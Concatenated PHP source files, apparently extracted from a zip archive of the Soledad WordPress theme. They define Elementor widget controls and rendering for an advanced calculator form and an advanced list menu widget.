					'{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input::placeholder' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'field_background_color',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input, {{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-select' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'field_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input, {{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-select',
				'separator'   => 'before',
			]
		);

		$this->add_control(
			'field_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input, {{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-select' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'field_box_shadow',
				'selector' => '{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input, {{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-select',
			]
		);

		$this->add_responsive_control(
			'field_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input, {{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-select' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; height: auto;',
				],
				'separator'  => 'before',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'      => 'field_typography',
				'label'     => esc_html__( 'Typography', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input, {{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-select',
				'separator' => 'before',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_field_focus',
			[
				'label' => esc_html__( 'Focus', 'soledad' ),
			]
		);

		$this->add_control(
			'field_focus_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input:focus, {{WRAPPER}} .penci-advcal-el-field-group textarea:focus' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'field_focus_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input:focus, {{WRAPPER}} .penci-advcal-el-field-group textarea:focus' => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'field_border_border!' => '',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();


		$this->start_controls_section(
			'section_submit_button_style',
			[
				'label'     => esc_html__( 'Submit Button', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'form_result_show' => 'submit'
				]
			]
		);

		$this->start_controls_tabs( 'tabs_button_style' );

		$this->start_controls_tab(
			'tab_button_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'button_text_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-button' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'button_background_color',
				'selector' => '{{WRAPPER}} .penci-advcal-button'
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'button_border',
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-advcal-button',
				'separator'   => 'before',
			]
		);

		$this->add_responsive_control(
			'button_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-advcal-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'button_text_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-advcal-button' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'button_typography',
				'selector' => '{{WRAPPER}} .penci-advcal-button',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_button_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'button_hover_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-button:hover' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'button_background_hover_color',
				'selector' => '{{WRAPPER}} .penci-advcal-button:hover'
			]
		);

		$this->add_control(
			'button_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'separator' => 'before',
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-button:hover' => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'button_border_border!' => '',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();


		$this->start_controls_section(
			'section_result_style',
			[
				'label' => esc_html__( 'Result', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'result_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-result' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'      => 'result_background_color',
				'separator' => 'before',
				'selector'  => '{{WRAPPER}} .penci-advcal-result'
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'     => 'result_border',
				'label'    => esc_html__( 'Border', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-advcal-result',
			]
		);

		$this->add_control(
			'result_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-advcal-result' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);


		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'result_box_shadow',
				'selector' => '{{WRAPPER}} .penci-advcal-result',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'result_typography',
				'selector' => '{{WRAPPER}} .penci-advcal-result',
			]
		);

		$this->add_responsive_control(
			'result_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-advcal-result' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; height: auto;',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_error_style',
			[
				'label' => esc_html__( 'Error', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);


		$this->add_control(
			'error_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-error div' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'      => 'error_background_color',
				'separator' => 'before',
				'selector'  => '{{WRAPPER}} .penci-advcal-error div'
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'error_box_shadow',
				'selector' => '{{WRAPPER}} .penci-advcal-error div',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'error_typography',
				'selector' => '{{WRAPPER}} .penci-advcal-error div',
			]
		);

		$this->add_responsive_control(
			'error_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-advcal-error div' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; height: auto;',
				],
			]
		);

		$this->end_controls_section();
	}

	public function form_fields_render_attributes() {
		$settings = $this->get_settings_for_display();
		$id       = $this->get_id();

		$this->add_render_attribute(
			[
				'wrapper'         => [
					'class' => [
						'elementor-form-fields-wrapper',
					],
				],
				'field-group'     => [
					'class' => [
						'penci-advcal-el-field-group',
					],
				],
				'user_name_label' => [
					'for'   => 'user_name' . $id,
					'class' => [
						'penci-advcal-label',
					]
				],
				'user_name_input' => [
					'type'  => 'text',
					'name'  => 'name',
					'id'    => 'user_name' . $id,
					'class' => [
						'penci-advcal-el-input',
						'penci-advcal-el-form-',
					],
				],

			]
		);
	}

	public function get_attribute_name( $item ) {
		return "form_fields[{$item['custom_id']}]";
	}

	public function get_attribute_id( $item ) {
		return $item['custom_id'];
	}

	protected function make_select_field( $item, $item_index ) {
		$this->add_render_attribute(
			[
				'select-wrapper' . $item_index => [
					'class' => [
						// 'elementor-field',
						// 'elementor-select-wrapper',
						// esc_attr( $item['css_classes'] ),
					],
				],
				'select' . $item_index         => [
					'name'  => $this->get_attribute_name( $item ) . ( ! empty ( $item['allow_multiple'] ) ? '[]' : '' ),
					'id'    => $this->get_attribute_id( $item ),
					'class' => [
						'penci-advcal-el-select',
					],
				],
			]
		);

		$options = preg_split( "/\\r\\n|\\r|\\n/", $item['field_options'] );

		if ( ! $options ) {
			return '';
		}

		?>
		<?php if ( $this->get_settings_for_display( 'show_labels' ) ) : ?>
            <label for="<?php echo wp_kses_post( $this->get_attribute_id( $item ) ); ?>"
                   class="penci-advcal-label">
				<?php echo wp_kses_post( $item['field_label'] ); ?>
            </label>
		<?php endif; ?>
        <div <?php $this->print_render_attribute_string( 'select-wrapper' . esc_attr( $item_index ) ); ?>>
            <select <?php $this->print_render_attribute_string( 'select' . esc_attr( $item_index ) ); ?>>
				<?php
				$i = 1;
				foreach ( $options as $key => $option ) {
					$item['custom_id'] = $i ++;
					$option_id         = $item['custom_id'] . $key . $item_index;
					$option_value      = esc_attr( $option );
					$option_label      = esc_html( $option );

					if ( false !== strpos( $option, '|' ) ) {
						list( $label, $value ) = explode( '|', $option );
						$option_value = esc_attr( $value );
						$option_label = esc_html( $label );
					}

					$this->add_render_attribute( $option_id, 'value', $option_value );

					echo '<option ' . wp_kses_post( $this->get_render_attribute_string( $option_id ) ) . '>' . wp_kses_post( $option_label ) . '</option>';
				}
				?>
            </select>
        </div>
		<?php
	}


	protected function make_radio_checkbox_field( $item, $item_index, $type ) {
		$options = preg_split( "/\\r\\n|\\r|\\n/", $item['field_options'] );
		$html    = '';
		if ( $this->get_settings_for_display( 'show_labels' ) ) {
			$html .= '<label for="' . $this->get_attribute_id( $item ) . '" class="penci-advcal-label">
			' . wp_kses_post( $item['field_label'] ) . '
		</label>';
		}
		if ( $options ) {
			$html .= '<div class="elementor-field-subgroup penci-advcal-el-radio-inline-' . $item['inline_list'] . '">';
			$id   = $this->get_attribute_id( $item );
			foreach ( $options as $key => $option ) {
				$element_id   = $this->get_attribute_id( $item ) . $key;
				$html_id      = $this->get_attribute_id( $item ) . $key;
				$option_label = $option;
				$option_value = $option;
				if ( false !== strpos( $option, '|' ) ) {
					list( $option_label, $option_value ) = explode( '|', $option );
				}

				$this->add_render_attribute(
					$element_id,
					[
						'type'  => $type,
						'value' => $option_value,
						'class' => 'penci-advcal-el-radio',
						'name'  => $id,
					]
				);

				if ( ! empty ( $item['field_value'] ) && $option_value === $item['field_value'] ) {
					$this->add_render_attribute( $element_id, 'checked', 'checked' );
				}

				$html .= '<label id="' . $html_id . '" class="penci-field-option"><input ' . $this->get_render_attribute_string( $element_id ) . '> <span for="' . $html_id . '">' . $option_label . '</span></label>';
			}
			$html .= '</div>';
		}

		return $html;
	}

	private function render_result() {
		$settings = $this->get_settings_for_display();
		?>
        <div class="penci-advcal-field-wrap penci-advcal-el-field-group">
            <div class="penci-advcal-result">
				<?php echo wp_kses_post( $settings['form_result_text'] ); ?> <span></span>
            </div>
        </div>
		<?php
	}

	public function render() {
		$settings   = $this->get_settings_for_display();
		$id         = $this->get_id();
		$element_id = 'penci-advcal-' . $id;
		$formula    = $settings['form_formula'];

		$this->add_render_attribute(
			[
				'button' => [
					'class' => [
						'penci-button',
						'penci-advcal-button',
					],
				],
			]
		);
		$this->add_render_attribute(
			[
				'calculator' => [
					'class'         => 'penci-advcal',
					'id'            => $element_id,
					'data-settings' => [
						wp_json_encode(
							array_filter(
								[
									'id'         => '#' . $element_id,
									"formula"    => "formula:'" . $formula . "'",
									'resultShow' => $settings['form_result_show']
								]
							)
						),
					],
				],
			]
		);

		?>
        <div <?php $this->print_render_attribute_string( 'calculator' ); ?>>
            <div class="penci-advcal-wrapper">
                <form class="penci-advcal-form">
					<?php
					if ( 'top' == $settings['form_result_position'] ) {
						$this->render_result();
					}
					?>
					<?php
					$i                      = 1;
					foreach ( $settings['form_fields'] as $item_index => $item ) :
						$item['custom_id'] = $id . '-' . $i ++;
						$disabled_class     = $item['field_type'] == 'disabled' ? 'penci-advcal-mouse-disabled' : '';


						$field_value = ( $item['field_value'] ) ? strip_tags( $item['field_value'] ) : '';
						$field_value = filter_var( $field_value, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
						$field_value = number_format( (float) $field_value, 2, '.', '' );

						if ( $field_value == '0.00' ) {
							$field_value = $item['field_value'];
						}

						$placeholder = ( $item['placeholder'] ) ? strip_tags( $item['placeholder'] ) : '';
						$placeholder = filter_var( $placeholder, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
						$placeholder = number_format( (float) $placeholder, 2, '.', '' );

						if ( $placeholder == '0.00' ) {
							$placeholder = $item['placeholder'];
						}

						$this->add_render_attribute(
							[
								'field_label' . $item_index => [
									'for'   => $item['custom_id'],
									'class' => [
										'penci-advcal-label',
									]
								],
								'field_input' . $item_index => [
									'type'        => $item['field_type'] != 'disabled' ? $item['field_type'] : 'text',
									'value'       => $field_value,
									'id'          => $item['custom_id'],
									'placeholder' => $placeholder,
									'class'       => [
										'penci-advcal-el-input',
										$disabled_class
									],
								],
							],
							true
						);

						?>
                        <div class="penci-advcal-field-wrap penci-advcal-el-field-group elementor-repeater-item-<?php echo esc_attr( $item['_id'] ); ?>">

							<?php

							switch ( $item['field_type'] ) {
								case 'text':
								case 'number':
									if ( $settings['show_labels'] ) {
										echo '<label ' . wp_kses_post( $this->get_render_attribute_string( 'field_label' . $item_index ) ) . '>' . wp_kses_post( $item['field_label'] ) . '</label>';
									}
									echo '<div class="penci-advcal-el-form-controls">';
									echo '<input ' . wp_kses_post( $this->get_render_attribute_string( 'field_input' . $item_index ) ) . '>';
									echo '</div>';
									break;

								case 'hidden':
									echo '<div class="penci-advcal-el-form-controls">';
									echo '<input ' . wp_kses_post( $this->get_render_attribute_string( 'field_input' . $item_index ) ) . '>';
									echo '</div>';
									break;

								case 'disabled':
									if ( $settings['show_labels'] ) {
										echo '<label ' . wp_kses_post( $this->get_render_attribute_string( 'field_label' . $item_index ) ) . '>' . wp_kses_post( $item['field_label'] ) . '</label>';
									}
									echo '<div class="penci-advcal-el-form-controls">';
									echo '<input ' . wp_kses_post( $this->get_render_attribute_string( 'field_input' . $item_index ) ) . ' disabled="disabled">';
									echo '</div>';
									break;

								case 'select':
									$this->make_select_field( $item, $item_index );
									break;

								case 'radio':
								case 'checkbox':
									echo $this->make_radio_checkbox_field( $item, esc_attr( $item_index ), esc_html( $item['field_type'] ) );
									break;

								default:
									echo esc_html_x( 'Something wrong!', 'Frontend', 'soledad' );
									break;
							}

							?>

                        </div>
					<?php endforeach; ?>

					<?php if ( $settings['form_result_show'] == 'submit' ) : ?>

                        <div class="penci-advcal-field-wrap">
                            <div class="elementor-field-type-submit">
                                <button <?php $this->print_render_attribute_string( 'button' ); ?> type="submit">
									<?php
									echo esc_html( $settings['button_text'] );
									?>
                                </button>
                            </div>
                        </div>

					<?php endif; ?>


                    <div class="penci-advcal-field-wrap penci-advcal-el-field-group penci-advcal-error penci-advcal-hidden">
                        <div class="penci-advcal-warning" penci-advcal-el-alert>
                            <a class="penci-advcal-close" penci-advcal-el-close></a>
                            <p class="penci-advcal-p">
								<?php echo esc_html( $settings['form_result_error'] ); ?>
                            </p>
                        </div>
                    </div>

					<?php
					if ( 'bottom' == $settings['form_result_position'] ) {
						$this->render_result();
					}
					?>

                </form>
            </div>
        </div>
		<?php
	}
}PK     1w\-Tk  k  0  elementor/modules/penci-advanced-list/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAdvancedList;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-advanced-list';
	}

	public function get_widgets() {
		return array( 'PenciAdvancedList' );
	}
}
PK     1w\|m.O  O  E  elementor/modules/penci-advanced-list/widgets/penci-advanced-list.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAdvancedList\Widgets;


use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciAdvancedList extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci-advanced-list';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Advanced List', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-editor-list-ol';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab
		 */

		/**
		 * General style
		 */
		$this->start_controls_section(
			'general_style_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
			]
		);

		$this->add_control(
			'general_label_style', array(
				'label'   => __( 'General Label Style:', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'style-1',
				'options' => array(
					'style-1' => esc_html__( 'Style 1', 'soledad' ),
					'style-2' => esc_html__( 'Style 2', 'soledad' ),
					'style-3' => esc_html__( 'Style 3', 'soledad' ),
					'style-4' => esc_html__( 'Style 4', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'general_heading_style', array(
				'label'   => __( 'Heading Title Style:', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'style-1',
				'options' => array(
					'style-1' => esc_html__( 'Style 1', 'soledad' ),
					'style-2' => esc_html__( 'Style 2', 'soledad' ),
					'style-3' => esc_html__( 'Style 3', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'item_col', array(
				'label'   => __( 'Split list menu items in columns?', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '1',
				'options' => array(
					'1' => esc_html__( 'No - Keep in 1 Column', 'soledad' ),
					'2' => esc_html__( '2 Columns', 'soledad' ),
					'3' => esc_html__( '3 Columns', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'item_col_space',
			[
				'label'     => esc_html__( 'Spacing Between Columns', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'condition' => [ 'item_col!' => '1' ],
				'selectors' => array(
					'{{WRAPPER}} .mega-menu-list' => '--pcmega-colspace: {{SIZE}}px',
				),
			]
		);

		$this->add_control(
			'menu_title_spacing',
			[
				'label'     => esc_html__( 'Spacing Between Title and List', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .mega-menu-list li ul' => 'margin-top: {{SIZE}}px',
				),
			]
		);

		$this->add_control(
			'menu_list_spacing',
			[
				'label'     => esc_html__( 'Spacing Between Item Lists', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
				'selectors' => array(
					'{{WRAPPER}} .mega-menu-list > li > ul li' => 'margin-bottom: {{SIZE}}px',
				),
			]
		);

		$this->end_controls_section();

		/**
		 * General settings
		 */
		$this->start_controls_section(
			'general_section',
			[
				'label' => esc_html__( 'Custom List Items', 'soledad' ),
			]
		);

		$this->start_controls_tabs( 'extra_menu_tabs' );

		$this->start_controls_tab(
			'link_tab',
			[
				'label' => esc_html__( 'Link', 'soledad' ),
			]
		);

		$this->add_control(
			'title',
			[
				'label'   => esc_html__( 'Title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'Menu parent item',
			]
		);

		$this->add_control(
			'link',
			[
				'label'   => esc_html__( 'Link', 'soledad' ),
				'type'    => Controls_Manager::URL,
				'default' => [
					'url'         => '#',
					'is_external' => false,
					'nofollow'    => false,
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'label_tab',
			[
				'label' => esc_html__( 'Label', 'soledad' ),
			]
		);

		$this->add_control(
			'label_style', array(
				'label'   => __( 'Label Style:', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''        => esc_html__( 'Default From General', 'soledad' ),
					'style-1' => esc_html__( 'Style 1', 'soledad' ),
					'style-2' => esc_html__( 'Style 2', 'soledad' ),
					'style-3' => esc_html__( 'Style 3', 'soledad' ),
					'style-4' => esc_html__( 'Style 4', 'soledad' ),
				)
			)
		);

		$this->add_control(
			'label',
			[
				'label' => esc_html__( 'Label text (optional)', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			]
		);

		$this->add_control(
			'label_color',
			[
				'label'     => esc_html__( 'Label Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .mega-menu-list > li > a .menu-label'        => 'background-color: {{VALUE}}',
					'{{WRAPPER}} .mega-menu-list > li > a .menu-label:before' => 'border-color: {{VALUE}}',
				),
			]
		);

		$this->add_control(
			'label_text_color',
			[
				'label'     => esc_html__( 'Label Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .mega-menu-list > li > a .menu-label' => 'color: {{VALUE}}',
				),
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'image_tab',
			[
				'label' => esc_html__( 'Image', 'soledad' ),
			]
		);

		$this->add_control(
			'image',
			[
				'label' => esc_html__( 'Choose image', 'soledad' ),
				'type'  => Controls_Manager::MEDIA,
			]
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'image',
				'default'   => 'thumbnail',
				'separator' => 'none',
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$repeater = new Repeater();

		$repeater->start_controls_tabs( 'extra_menu_tabs' );

		$repeater->start_controls_tab(
			'link_tab',
			[
				'label' => esc_html__( 'Link', 'soledad' ),
			]
		);

		$repeater->add_control(
			'title',
			[
				'label'   => esc_html__( 'Title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'Menu child item',
			]
		);

		$repeater->add_control(
			'link',
			[
				'label'   => esc_html__( 'Link', 'soledad' ),
				'type'    => Controls_Manager::URL,
				'default' => [
					'url'         => '#',
					'is_external' => false,
					'nofollow'    => false,
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'label_tab',
			[
				'label' => esc_html__( 'Label', 'soledad' ),
			]
		);

		$repeater->add_control(
			'label_style', array(
				'label'   => __( 'Label Style:', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''        => esc_html__( 'Default From General', 'soledad' ),
					'style-1' => esc_html__( 'Style 1', 'soledad' ),
					'style-2' => esc_html__( 'Style 2', 'soledad' ),
					'style-3' => esc_html__( 'Style 3', 'soledad' ),
					'style-4' => esc_html__( 'Style 4', 'soledad' ),
				)
			)
		);

		$repeater->add_control(
			'label',
			[
				'label' => esc_html__( 'Label text (optional)', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			]
		);

		$repeater->add_control(
			'label_color',
			[
				'label'     => esc_html__( 'Label Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .mega-menu-list ul {{CURRENT_ITEM}} .menu-label'          => 'background-color: {{VALUE}}',
					'body.rtl {{WRAPPER}} .mega-menu-list ul {{CURRENT_ITEM}} .menu-label' => 'border-color: {{VALUE}}',
					'{{WRAPPER}} .mega-menu-list ul {{CURRENT_ITEM}} .menu-label:before'   => 'border-color: {{VALUE}}',
				),
			]
		);

		$repeater->add_control(
			'label_text_color',
			[
				'label'     => esc_html__( 'Label Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .mega-menu-list ul {{CURRENT_ITEM}} .menu-label' => 'color: {{VALUE}}',
				),
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'image_tab',
			[
				'label' => esc_html__( 'Image', 'soledad' ),
			]
		);

		$repeater->add_control(
			'image',
			[
				'label' => esc_html__( 'Choose image', 'soledad' ),
				'type'  => Controls_Manager::MEDIA,
			]
		);

		$repeater->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'image',
				'default'   => 'thumbnail',
				'separator' => 'none',
			]
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control(
			'menu_items_repeater',
			[
				'type'        => Controls_Manager::REPEATER,
				'label'       => esc_html__( 'List items', 'soledad' ),
				'separator'   => 'before',
				'title_field' => '{{{ title }}}',
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'title'       => __( 'Menu child item 1', 'soledad' ),
						'label'       => '',
						'label_color' => '',
						'link'        => [
							'url'         => '#',
							'is_external' => false,
							'nofollow'    => false,
						],
					],
					[
						'title'       => __( 'Menu child item  2', 'soledad' ),
						'label'       => 'New',
						'label_color' => '',
						'link'        => [
							'url'         => '#',
							'is_external' => false,
							'nofollow'    => false,
						],
					],
					[
						'title'       => __( 'Menu child item 3', 'soledad' ),
						'label'       => '',
						'label_color' => '',
						'link'        => [
							'url'         => '#',
							'is_external' => false,
							'nofollow'    => false,
						],
					],
					[
						'title'       => __( 'Menu child item 4', 'soledad' ),
						'label'       => '',
						'label_color' => '',
						'link'        => [
							'url'         => '#',
							'is_external' => false,
							'nofollow'    => false,
						],
					],
					[
						'title'       => __( 'Menu child item 5', 'soledad' ),
						'label'       => 'Hot',
						'label_color' => '',
						'link'        => [
							'url'         => '#',
							'is_external' => false,
							'nofollow'    => false,
						],
					],
					[
						'title'       => __( 'Menu child item 6', 'soledad' ),
						'label'       => '',
						'label_color' => '',
						'link'        => [
							'url'         => '#',
							'is_external' => false,
							'nofollow'    => false,
						],
					],
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_image',
			array(
				'label' => __( 'Style', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'header_line_color',
			[
				'label'     => esc_html__( 'Heading Title Line Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .mega-menu-list > li.heading-style-style-2 > a'       => 'border-bottom-color: {{VALUE}}',
